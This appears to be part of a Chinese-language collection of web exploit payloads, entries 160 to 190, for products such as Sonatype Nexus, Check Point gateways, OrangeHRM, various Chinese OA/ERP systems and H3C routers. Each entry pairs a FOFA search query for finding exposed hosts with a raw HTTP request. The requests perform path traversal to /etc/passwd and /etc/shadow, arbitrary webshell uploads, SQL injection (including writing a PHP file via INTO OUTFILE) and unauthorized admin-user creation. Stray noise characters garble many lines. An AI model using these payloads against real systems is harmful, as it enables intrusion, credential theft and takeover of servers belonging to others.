/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")


160. Sonatype Nexus Repository 3目录遍历与文件读取
- U8 |9 x7 C3 A; k0 QCVE-2024-4956
FOFA：title="Nexus Repository Manager"
4 _3 z3 q  [8 I- D0 u( `GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
) K, F% r( Q' Z# fUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
1 v0 l- G; d5 Q& ~" LConnection: close
2 R* m/ T0 q1 q9 SAccept: */*
. ?0 j- G% ~" }1 s6 xAccept-Language: en
Accept-Encoding: gzip
- |  N: ?, W- D

- }% {0 E  i/ A5 q0 W$ p) h& j161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
! \$ K+ X$ x; @! U" k" z第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
: M. v, @$ ]+ jPOST /Webservice.asmx HTTP/1.1
3 D0 c- `% ~& m) k4 CHost: x.x.x.x
1 F1 Z7 g+ u* i% m: q/ `$ cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 445
Content-Type: text/xml
0 X8 X, G/ J4 oAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
3 a( _9 l& P4 `1 E( i' h<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
5 H1 \% g  O& R9 g% [1 ?& t( s<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
# o+ _9 z' J. J5 }# @% p" \</UploadResume>
2 X: N2 r! r3 ]7 S8 @( q" `! z1 \</soap:Body>
</soap:Envelope>

& q2 ~9 R% Z4 v
8 F. W) |/ U0 ~+ s3 `- F5 [- thttp://x.x.x.x/dizxdell.aspx
7 ~: a& C+ d- ]
( d- g) L* s, \162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
5 r) h" ?  C: n( C( f6 \/ i4 N$ vFOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
  r! i6 x! s0 `$ c. _$ o9 jHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
% w9 B: G1 G" Z8 A7 gConnection: close
" ]' t* v3 M+ i. s' F& `! nContent-Length: 583
0 F, b. Q# ]$ [/ e( |3 hContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
. e6 C9 r. H% L2 Z2 X; j; s; jAccept-Encoding: gzip

------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream

! K6 a. j" m$ Z1 J<% response.write("ujidwqfuuqjalgkvrpqy") %>
& T! t+ x- V( Y' h' F9 X* g------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"
7 a% c9 R5 |* X1 g1 _3 s
upload
7 G& B' t, ?; X3 I+ ^  D4 [  G$ V------WebKitFormBoundaryeegvclmyurlotuey
* M+ o( F$ y) v8 {Content-Disposition: form-data; name="responderId"

; p4 f3 a0 h1 yResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
6 [/ p, u  u. y7 ^, s0 @2 `Content-Disposition: form-data; name="remotePath"
% v3 }5 G3 B+ |+ A3 ~7 v
/ x6 h" G* }* \( m1 Z/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--

# p% s7 R# m6 u. g& B. H0 u) a
http://x.x.x.x/opt/resources/kjuhitjgk.aspx
# v$ q, l" w3 z$ E3 h/ W% c
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
& ~& a, g' T! B7 FFOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
+ U: Y0 t: S* l  n4 K- ^0 gHost: x.x.x.x
) _; j$ w8 ^  I8 R: V  D3 Y, lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
9 a5 s9 B( c% g7 R7 ZConnection: close
Content-Length: 293
9 l, S& }7 o  p) |4 q( cAccept: */*
  @7 z+ y0 v" A) D: I2 GAccept-Encoding: gzip, deflate
: F( I7 ~4 E' I7 Q8 g1 y/ @) S0 iAccept-Language: zh-CN,zh;q=0.9
. y; x! X  v4 d9 e8 q/ cContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
4 X4 c5 ^" d- Y3 H8 g; E+ E8 F7 E7 Z
# _! N( |+ B8 u4 A5 E------iiqvnofupvhdyrcoqyuujyetjvqgocod
0 ~5 d5 T0 R/ ?; u& E& ~Content-Disposition: form-data; name="name"
# y" S, `0 o4 r! ^) f6 D
. A8 _7 w) R( K% G" o1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
' L; s0 T  J; d" UContent-Disposition: form-data; name="upfile"; filename="1.php"
1 }* d! J% Q- [5 }( x  L& z# OContent-Type: image/jpeg

rvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--
9 L; v5 |) Y9 ]- ^

' c) t' n; j- t. w8 Y. }9 g( {  L164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
2 W) V& x8 u9 q. r' C& ~FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
' {& Z9 K" g& i, F5 e; ZHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
+ i0 M8 w- S! [5 lContent-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
9 g0 p$ v$ m7 `- E$ zAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
5 {9 f! W; L+ U, M! k2 w) N0 |Connection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
" `; ?5 ]; W) k/ t# u, j6 qX-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
6 U% X3 W! C' u7 ]
------dqdaieopnozbkapjacdbdthlvtlyl
+ C! l% P+ z5 MContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
+ v0 |. O5 E( c+ lContent-Type: image/jpeg

  I1 T7 u% D! z2 Y! G<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
8 l$ Z' w$ t% ]- G: A------dqdaieopnozbkapjacdbdthlvtlyl--
/ Z9 \  l( `# }, r$ E2 t8 c

; y- P* l  V9 U6 x! jhttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
7 }0 T9 m* L* j4 e- ]( c) p
4 i& b) i6 S3 m  e5 Y; K( F165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
4 ~: d! Q$ t! R) U2 F: w3 qURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
0 m; Z% S7 n' o) x& d' ^+ }

* L& ^7 @" e; F7 M( Z166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
- {9 _& y" S$ \! c, {9 S+ b4 s! S  t: |9 fPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
8 I: v$ ~% [) Q" z7 {5 B' WHost:
Pragma: no-cache
1 H" @" v% {9 OCache-Control: no-cache
! `% u. p5 `5 \$ ?  wUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
& O# R- c7 x4 P1 f. T* z7 AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ _+ O: H9 S; T0 P: W, T2 nAccept-Encoding: gzip, deflate
& \; h8 L# V% ]2 A2 p1 ]& ]Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
7 ~- u! U& \' k1 s+ `Content-Type: application/x-www-form-urlencoded
Content-Length: 89

9 m! ?. Z* g! G6 g( h4 a/ F; qMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
4 W! ]: L( q3 X' J: _6 a
8 W3 i$ a5 l* R8 [' `, s: B
167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
9 }. s& K6 }* x7 {: sHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
- L( h1 `9 Z2 S" u0 D4 L0 HContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
: w7 Y* {$ a2 F$ u' {" {# bAccept: */*
. v5 S9 u4 t! fConnection: keep-alive
0 L( `: `3 J5 Q# M

168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
0 L) I7 T3 b; O4 S/ K; r$ ]; m3 W/ IHost: your-ip
' W$ H5 ^( x& rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
1 ?  r* E3 y3 v; q$ _- |Content-Type: application/x-www-form-urlencoded
% d  N" D, H2 Z* R4 [Connection: close
, r! e( S; J, X; a$ P6 q, l

& x0 y0 r4 A. F; p
& Y2 ?$ o( S6 p7 [  q169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
8 d; Q$ L5 s" n) RAccept: */*
Accept-Encoding: gzip, deflate
# i% Q% ]- {' F6 ?Connection: close
: G; ]" C$ u4 `
6 C6 ^6 s: J+ w

170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
3 Q9 `. d8 b+ r! X& K4 z# d) Y4 x% \, QUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 D/ B6 r6 a: q: b0 J: q8 UContent-Type: application/x-www-form-urlencoded

- I6 f; y- l4 G& B0 {* y( r0 _9 Q, x9 j) `filename=../webapps/ROOT/WEB-INF/web.xml
% c; R" z% n5 e, p6 V! L/ ?+ S

171. 通天星CMSV6车载定位监控平台 SQL注入
8 s$ ]# v' k% fFOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 C2 r6 \; N; U: ]% h) \, PAccept-Encoding: gzip, deflate
Connection: close


: l- y5 T$ A) k$ v! I
172. DT-高清车牌识别摄像机任意文件读取
5 ]* N& d3 L/ Q# ^' SFOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
. U5 i. z( Q) L" f0 ]( J3 A3 LHost: your-ip
' f- e% F, }& I' S" y5 h" OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
6 i4 N0 z( d1 S8 s& SConnection: keep-alive

8 _" q) ~7 O- f- m, D; a/ f' n1 s

173. Check Point 安全网关任意文件读取
6 B% N5 S' B+ a7 L+ o- d0 HCVE-2024-24919
7 t, g7 F( A  }. Z, {FOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
1 ]0 w# a3 H1 o2 P$ E0 R$ b) GHost: your-ip
6 b( ]; N$ t; E/ ?3 T% OContent-Type: application/x-www-form-urlencoded

aCSHELL/../../../../../../../etc/shadow
) V9 H( g/ M9 F- \8 m$ {


  I1 ]. V3 P2 d& x5 b& r4 G' f1 I( {174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
! s' P7 T1 R1 s1 v9 Z6 S) n) xGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
/ r- h) }* w7 [" t5 \& ]1 oHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
" X+ q& o  g" P8 u, @6 xAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
& k  e" ^+ r% B% W, [Connection: close
: A  h! Y2 h$ m1 d* ?$ y7 G, i7 X2 X
  j2 g: K6 r( H

175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
8 Y& T) {5 y& d/ G* {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" p# }* ?7 `2 mAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
' i! ?/ R* j% a, S, b# y" n  pUpgrade-Insecure-Requests: 1
5 D, E+ N8 h1 X7 r7 P6 U5 ~
% y3 ^/ g9 i* \# i
) W- T. L( Z% e. l. y6 p176. 电信网关配置管理系统 rewrite.php 文件上传
% F4 `& B0 G, m# e1 |9 E0 zFOFA：body="img/login_bg3.png" && body="系统登录"
( D3 O' q: D1 D0 GPOST /manager/teletext/material/rewrite.php HTTP/1.1
6 A2 Z4 m' J. kHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
5 D& L$ J  R2 Q2 e: Q0 jConnection: close
0 b+ G% w: o/ u5 O$ g
1 A' z# o* @1 B5 N) h------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

* t$ \" p2 q  ^; X7 T: @6 l9 G* j4 p<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"
! i0 i6 j" o. Z) q# O
+ R' G2 u6 S+ s( \, h$ o- X& }/ C
------WebKitFormBoundaryOKldnDPT--

* a  a" s/ D- v8 |! W' m
( j7 ~: l7 C) E* h! w8 ^+ n% X# I  |
177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
( I+ c* ?: ^. @6 M8 o/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
" @# H- n7 y4 M" w! [" y/userLogin.asp/../actionpolicy_status/../GR3200.cfg
& s4 S& t  G- g  z0 Q4 W. y/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
$ ?7 _8 E* U" V! _/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
6 p" K8 G& W2 p5 N; ]8 ^/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
. Y1 r0 Z) X. x  y; ^. U+ _3 R9 c/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
) n% Z& U% @1 Q# r6 b/userLogin.asp/../actionpolicy_status/../ER3260.cfg
* j- ~& H: `6 f# ]1 W( T: i) S/ X9 ?* U/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
& v+ j3 @3 N+ a  k9 J( {/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
+ U, }" P- a0 W' g0 i2 R2 \/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
+ j5 C! L( G5 i8 M; ]1 b- F9 ^/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg

* ~$ W% G: z+ h5 [
1 h( u$ p5 q: a1 d178. H3C校园网自助服务系统-flexfileupload-任意文件上传
: a! n' b( o4 tFOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
  h9 l( w" k/ F( p% THost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
( s" O8 l# F$ ~Content-Length: 252
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
2 K2 ~1 O* B$ S  a6 R-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
4 _5 w" b+ j* o( ~, J, l# pContent-Type: application/octet-stream
6 c) A, Y" S) Y' uContent-Length: 255

: V) F5 ^& l5 C5 q$ p0 z12234
-----------------aqutkea7vvanpqy3rh2l--
2 D1 J8 W' ?1 ?0 e5 ?$ a; B

) |& O3 a% u7 d8 W/ K1 M8 NGET /imc/primepush/%2e%2e/flex/12234.txt


5 G0 M" L8 a4 G- f8 D$ n" S0 N179. 建文工程管理系统存在任意文件读取
! {6 P# |1 @- B: h' L# N6 F& _( \POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
' g, L/ i9 A: c* s0 T' fUser-Agent: Mozilla/5.0

8 L3 v' k. |" W$ r6 Ppath=../log4net.config&Name=


180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
& E  e  t3 N9 T8 e& o" r, ^) y, pGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
) E0 R0 k0 C# r! w- \6 JHost: your-ip
3 S6 R1 V5 g% V/ F1 ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 n$ H% x# N9 n  \Accept-Encoding: gzip, deflate
' U5 u6 H- K8 P7 w7 L+ v4 ^5 PAccept-Language: zh-CN,zh;q=0.9
Connection: close
$ F+ ~# }8 R6 _) ^3 ?" P

181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
, c/ z0 b: |# q) {$ ?+ LFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
3 t- L( T" P7 C$ ?Host: your-ip
" M# Q( m; L0 l5 ]. W1 V& j7 z* JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
+ K8 B5 Z# X" {1 y5 WAccept-Language: zh-CN,zh;q=0.9
5 r  ^. u( i6 g! [& QConnection: close
' U7 V0 [! d  I& d( x6 JContent-Type: application/x-www-form-urlencoded
! d2 m2 Z  g5 u7 H4 S

action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20

: H- W" l: @# E6 t7 I
* b; l# e& P3 G) d9 e% {6 E182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
# M3 Q8 u3 T; M7 `8 c+ D; u5 ?FOFA："PDCA/js/_publicCom.js"
2 W4 L: j% @4 l0 }' X& fPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
8 {% T0 }0 d8 Q& i3 lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
5 _9 o/ U+ B( Y9 k) L: aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
  p# L2 G; F/ YAccept-Language: zh-CN,zh;q=0.9
, B9 l. F+ t/ u: D7 F8 pConnection: close
0 r- w; Y  |2 u3 @5 VContent-Type: application/x-www-form-urlencoded
( u0 r6 r4 m# w' H6 g! Q7 M6 F
3 M' i- _6 C6 K4 i3 B+ X
$ s$ Z6 |5 h8 P8 ousername=test1234&pwd=test1234&savedays=1
" p$ G1 Y. Y: [( n

( A. p, D: \' B0 R. l183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
/ C- E) O: I( G3 @! ~. |* W6 `4 gFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
8 y9 L& v# l9 p: p/ G) yAccept-Encoding: gzip, deflate
9 y& ~; C& p, B/ z6 ^Connection: close

3 Q1 C+ l# ~" \+ ~4 G$ g
$ m& e0 m! ]. }" i: I184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
& v3 J4 d7 f# A4 |Host: your-ip
: D4 x4 W  }& x2 y, N3 E: mAccept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
; B1 N" B& h3 }+ C8 K5 _Accept: application/xml, text/xml, */*; q=0.01
8 c  p, m1 E* {8 V  T. F5 f+ RContent-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" @5 v: t, I8 ^9 n* q% lX-Requested-With: XMLHttpRequest
* X, u* V6 O( W3 ]8 W

1 x. ~* d+ g; M% |$ }- y0 linsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')


9 F7 h( L2 X1 D* l" L- F$ i185. 瑞友天翼应用虚拟化系统SQL注入
6 D0 @. }# l& n; `. ~  _* rversion < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
2 r7 ]$ I1 l1 I% a& s6 S: [GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host
. r( N* F% u: J$ r4 g6 R6 P- b

# P! U' V* H4 w: w186. F-logic DataCube3 SQL注入
5 j3 f4 C2 Y9 s  xCVE-2024-31750
2 g5 W* m, ^0 g5 J4 Y" [F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
$ |" r: ]1 y% a. t+ KFOFA：title=="DataCube3"
7 r1 i! g. x8 q! w: p, uPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
/ y  H( J0 R! l$ Q& C/ A4 g9 S$ l/ mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
8 t5 c2 C  @9 oAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
7 b7 C' ~1 }" l1 nConnection: close
2 N( o/ l2 B5 e/ B8 G0 qContent-Type: application/x-www-form-urlencoded
' q) P6 z" D; u/ y1 Z" B3 {8 Q
req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450

$ l. e4 j' P3 V- z
& B3 M5 ~% Y9 b9 L, T$ {8 z187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
: u& @- q0 S+ Y6 Z6 MFOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
, M/ a& S  k4 L, ~/ ]) i( n- JHost: your-ip
) l2 L/ r# N( EContent-Type: application/x-www-form-urlencoded
* H# I0 s: }$ F4 H' |
  e) W( p  B$ W3 Z5 ], T
9 A2 g: w" D6 Q" tobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
% I. y) w4 A' Q0 ~6 U3 d

188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
" C( Z: S( ?( P$ gAccept-Encoding: gzip, deflate
6 F8 V: C& c2 R0 J. eAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
5 D9 m- V2 V7 W& |2 `- Z* m1 V4 S  |Connection: close


189. 蓝网科技临床浏览系统 deleteStudy SQL注入
FOFA：app="LANWON-临床浏览系统"
GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
: m, d* ^0 [1 Y* u3 GUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- |. o% f2 X" H" s% V' mAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
1 l4 E; k% D! {( NConnection: close
" [" L5 z; k$ |" ~" ]! Y! @

190. 短视频矩阵营销系统 poihuoqu 任意文件读取
+ x5 j. B5 F5 I# }  T( DFOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
